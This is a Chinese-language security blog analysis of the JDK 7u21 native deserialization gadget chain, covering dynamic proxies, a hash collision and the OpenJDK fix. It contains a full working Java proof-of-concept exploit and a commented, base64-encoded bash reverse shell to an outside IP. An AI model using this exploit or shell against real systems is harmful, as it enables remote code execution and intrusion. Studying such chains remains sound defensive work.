Jdk7u21反序列化分析

前言

Jdk7u21,jdk原生反序列化,只要jdk版本在21之前都会存在反序列化漏洞,虽然实际情况可能会很少遇见,但整个过程还是有很多学习的地方,主要就是动态代理的充分利用和hash碰撞。

POC

引入依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.18.2-GA</version>
</dependency>

<dependency>
<groupId>org.jboss.classpool</groupId>
<artifactId>jboss-classpool</artifactId>
<version>1.0.0.GA</version>
</dependency>
</dependencies>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class exp {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] evil = getTemplatesImpl("Calc"); //加载构造的恶意类

setFieldValue(templates,"_bytecodes",new byte[][]{evil});
setFieldValue(templates,"_name","Evil");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); //常规反射操作了

HashMap<Object, Object> hashMap = new HashMap<>();
// hashMap.put("f5a5a608",2222); //先put进hashMap,利用"f5a5a608".hashCode=0,用于后面绕过

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Templates.class, hashMap);
//动态代理:代理AnnotationInvocationHandler,主要是为了利用该类下的invoke(两次被调用到)
InvocationHandler proxy = (InvocationHandler) Proxy.newProxyInstance(handler.getClass().getClassLoader(), handler.getClass().getInterfaces(), handler);
LinkedHashSet<Object> hashSet = new LinkedHashSet<>(); //有序集合,为了保证顺序,Templates下的方法--> newTransformer

hashSet.add(templates); //两次add,HashMap.put中逻辑实现,主要通过动态代理达到porxy.equals(templates) -> invoke -> equalsImpl
hashSet.add(proxy);

hashMap.put("f5a5a608",templates); //最后修改第一次以f5a5a608为key,value的值改为恶意类templates,且不影响hash计算

// serialize(hashSet);
deserialize("ser.bin");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
// "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}"
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
}

第一个注意点:动态代理-invoke关键调用

整条链的利用并不算是很复杂,最终rce的点还是在TemplatesImpl中,这个在CC链中已经提到过很多次了,也就是类加载的过程:newTransformer –> getTransletInstance –> defineClass –> newInstance –> rce
另一个需要关注的点在AnnotationInvocationHandler中,因为是实现的InvocationHandler接口,所以后续被用作动态代理使用并重写了invoke方法:
image.png
关于动态代理,被代理的类下的所有方法被调用时都会返回到invoke方法中被调用执行,包括一个对象下本身自带的方法,比如这里用到的hashCode和equals方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]); //最后一次被调用的点,hashMap.put#proxy.equals()方法被调用
//equals方法来自hashMap.put中比较时调用,且为动态代理类,所以回来到此invoke
assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
if (member.equals("hashCode"))
return hashCodeImpl(); //第一次返回的点,在hashMap#hash()被调用时hashCode方法被调用
if (member.equals("annotationType"))
return type;

..................
}

equalsImpl

其中存在反射获取所有方法,并在后面invoke调用,即newTransformer.invoke

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private Boolean equalsImpl(Object o) {
if (o == this)
return true;

if (!type.isInstance(o))
return false;
for (Method memberMethod : getMemberMethods()) { //反射获取类中所有方法
String member = memberMethod.getName();
Object ourValue = memberValues.get(member);
Object hisValue = null;
AnnotationInvocationHandler hisHandler = asOneOfUs(o);
if (hisHandler != null) {
hisValue = hisHandler.memberValues.get(member);
} else {
try {
hisValue = memberMethod.invoke(o); //invoke方法调用,衔接templatesImpl,memberMethod->newTransformer
} catch (InvocationTargetException e) {
return false;
} catch (IllegalAccessException e) {
throw new AssertionError(e);
}

.....................

hashCodeImpl

1
2
3
4
5
6
7
8
9
private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^ //后续hash碰撞的点,f5a5a608的hashCode=0
// 0 ^ 任意数都为他本身,因此这里计算出来的值取决于后面部分的hashCode
memberValueHashCode(e.getValue());
}
return result;
}

第二点 HashSet#readObject入口

选择LinkedHashSet

整条链将会用到HashMap、HashSet、LinkedHashSet、LinkedHashMap
LinkedHashSet是一个HashSet的有序集合,它继承与HashSet,在内部自己并不实现具体方法,类中四个方法都是调用父类HashSet的方法实现,而实际上在HashSet中又是使用的LinkedHashMap
image.png
image.png

AnnotationInvocationHandler中传入Templates而不是TemplatesImpl

在poc中可以看到反射构造AnnotationInvocationHandler实例化传入的Templates.class,而不是TemplatesImpl
equalsImpl#getMemberMethods
image.png
image.png
原因是Templates接口下仅有两个方法且都为无参方法,TemplatesImpl下存在很多方法并包含有很多有参方法,再看newTransformer的invoke调用点,熟悉Java反射的便知为无参调用,传入的唯一参数是TemplatesImpl实例化对象
image.png

最终 hash碰撞过程

1
2
3
4
5
6
7
//计算hash碰撞
for (long i = 0; i < 99; i++) {
if(Long.toHexString(i).hashCode() == 0){
System.out.println(Long.toHexString(i));
}
}
得到一个结果为:f5a5a608

在HashMap.put中,先有hash()计算,再到关键句if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

发序列化过程中,HashSet被add两次值,循环遍历,第一次在调用HashMap.put,计算hash时以传入的对象来计算,因为传入的TemplatesImpl,所以这次计算结果为以TemplatesImpl计算的hashCode
image.png
image.png
因为第一次table[]中并没有值,所以在最后addEntry,添加进hashMap中
image.png
第二次遍历,put时传入AnnotationInvocationHandler(proxy)动态代理的类,当动态代理调用hash()并调用hashCode方法计算hashCode时,直接被拦截来到invoke中(动态代理特点),而memberValues为hashMap put进的值,也就是以f5a5a608为key,TemplatesImpl对象为value,而(127 * e.getKey().hashCode()) 为构造的hashcode=0,所以结果取决于TemplatesImpl的hashCode,便与第一次计算的hashcode一致了
image.png
e为第一次put进的以TemplatesImpl为key,拿来与这次以proxy为key做hash比较,上面说了hash碰撞结果一致,e.key为TemplatesImpl,key为proxy是两个完全不同的东西,所以不满足,|| 左边不对才会走右边,因此满足了proxy.equals(templatesImpl),同样动态代理调用了equals方法,被代理的AnnotationInvocationHandler的invoke拦截
image.png
匹配equals,走到equalsImpl,便前后连接起来了,后续就是上面的利用链了
image.png
实际上最终自己在调这条链的时候第一次hashMap不用put也不会影响后面的rce,是有什么其他作用吗?

修复

https://github.com/openjdk/jdk7u/commit/b3dd6104b67d2a03b94a4a061f7a473bb0d2dc4e
官方的修复点在annotationinvocationhandler中,readObject只有当传入的type为annotation类型才正常执行,不是则throw一个错误;反观没更改之前直接return
image.png
image.png

也可参考:https://xz.aliyun.com/t/6884#toc-4 过程写得很详细了
https://drun1baby.top/2023/03/13/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B-JDK7u21-%E5%8E%9F%E7%94%9F%E9%93%BE/